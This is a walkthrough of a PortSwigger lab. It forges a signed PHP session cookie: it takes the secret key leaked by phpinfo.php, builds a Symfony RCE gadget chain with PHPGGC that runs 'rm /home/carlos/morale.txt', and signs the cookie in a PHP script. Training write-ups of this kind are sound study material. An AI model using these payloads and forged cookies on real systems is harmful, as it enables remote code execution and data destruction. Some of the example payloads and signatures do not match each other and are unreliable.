PortSwigger

Lab Description

This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.

Objective: Identify the target framework, use a third-party tool to generate a malicious serialized object, create a valid signed cookie, and delete the morale.txt file from Carlos’s home directory.

  • Your credentials: wiener:peter


Step 1: Understanding the Vulnerability

The PHP deserialization flaw:

  • The application uses signed cookies with Base64-encoded serialized PHP objects
  • Cookie format: {"token":"[serialized_object]","sig_hmac_sha1":"[HMAC_SHA1_signature]"}
  • The application uses Symfony framework (vulnerable to RCE gadget chains)
  • We have the secret key (leaked via /cgi-bin/phpinfo.php)

The attack:

  1. Generate a malicious serialized object using PHPGGC (Symfony RCE gadget chain)
  2. Sign it with the leaked secret key using HMAC-SHA1
  3. Construct a valid cookie with the malicious object
  4. Send the cookie deserialization triggers RCE file deleted

Step 2: Reconnaissance

Step 2.1: Log In

  1. Log in with wiener:peter
  2. Capture a request containing the session cookie

Decoder(Decode as URL Base64):

From the Inspector panel, the cookie structure is:

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=","sig_hmac_sha1":"d5c6b8c9e7a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5"}

Structure breakdown:

FieldPurpose
tokenBase64-encoded serialized PHP object
sig_hmac_sha1HMAC-SHA1 signature of the token

Step 2.3: Decode the Token

Decode the Base64 token to reveal the serialized PHP object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

If you modify the cookie and send the request, the server returns an error because the signature no longer matches.


Step 3: Finding the Secret Key

Step 3.1: Discover the Debug File

The error message or developer comment reveals the location: /cgi-bin/phpinfo.php

Step 3.2: Request phpinfo.php

GET /cgi-bin/phpinfo.php HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Step 3.3: Find the SECRET_KEY

Search the response for SECRET_KEY. It appears in the Environment section:

Save this secret key for later.


Step 4: Setting Up PHPGGC

Step 4.1: Download PHPGGC

git clone https://github.com/ambionics/phpggc.git
cd phpggc

Step 4.2: Generate the Malicious Object

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 -w 0

What this does:

  • Symfony/RCE4 - The gadget chain for Symfony RCE
  • exec - The method to call
  • 'rm /home/carlos/morale.txt' - The command to execute
  • | base64 - Convert binary output to Base64
  • -w 0 - Line Break Missed

Expected output (example):

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcRGVidWdcc15cRGVidWdDbGFzcyI6Mjp7czoyNzoiAFN5bWZvbnlcQ29tcG9uZW50XERlYnVnXEZfcmVmTGluZSI7czoyMjoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MTc6IgBTeW1mb255XENvbXBvbmVudFxEZWJ1Z1xFcm9yIjtzOjQ6ImV4ZWMiO30=


Create a file called sign.php:

<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==";

$secretKey = "vyd1633102hszygg0lqsz70qyosbrn1k";

$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');

echo $cookie;
?>

Step 5.2: Run the Script

php sign.php

Expected output:

%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcRGVidWdcc15cRGVidWdDbGFzcyI6Mjp7czoyNzoiAFN5bWZvbnlcQ29tcG9uZW50XERlYnVnXEZfcmVmTGluZSI7czoyMjoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MTc6IgBTeW1mb255XENvbXBvbmVudFxEZWJ1Z1xFcnJvciI7czo0OiJleGVjIjt9%22%2C%22sig_hmac_sha1%22%3A%22a1b2c3d4e5f67890abcdef1234567890abcdef12%22%7D

In Burp Repeater, replace the session cookie value with the output from the script.

Step 6.2: URL Encode (If Not Already)

The script already URL-encoded the output. If not, URL-encode it manually.

Step 6.3: Send the Request

Send any request (e.g., GET /my-account)


Step 7: How It Works

Deserialization process:

  1. Server receives request with signed cookie
  2. Server verifies HMAC signature using secret key
  3. Server decodes the Base64 token
  4. Server deserializes the PHP object
  5. Symfony gadget chain triggers RCE
  6. rm /home/carlos/morale.txt executes
  7. The file is deleted

Step 8: Lab Solved

Success message displayed: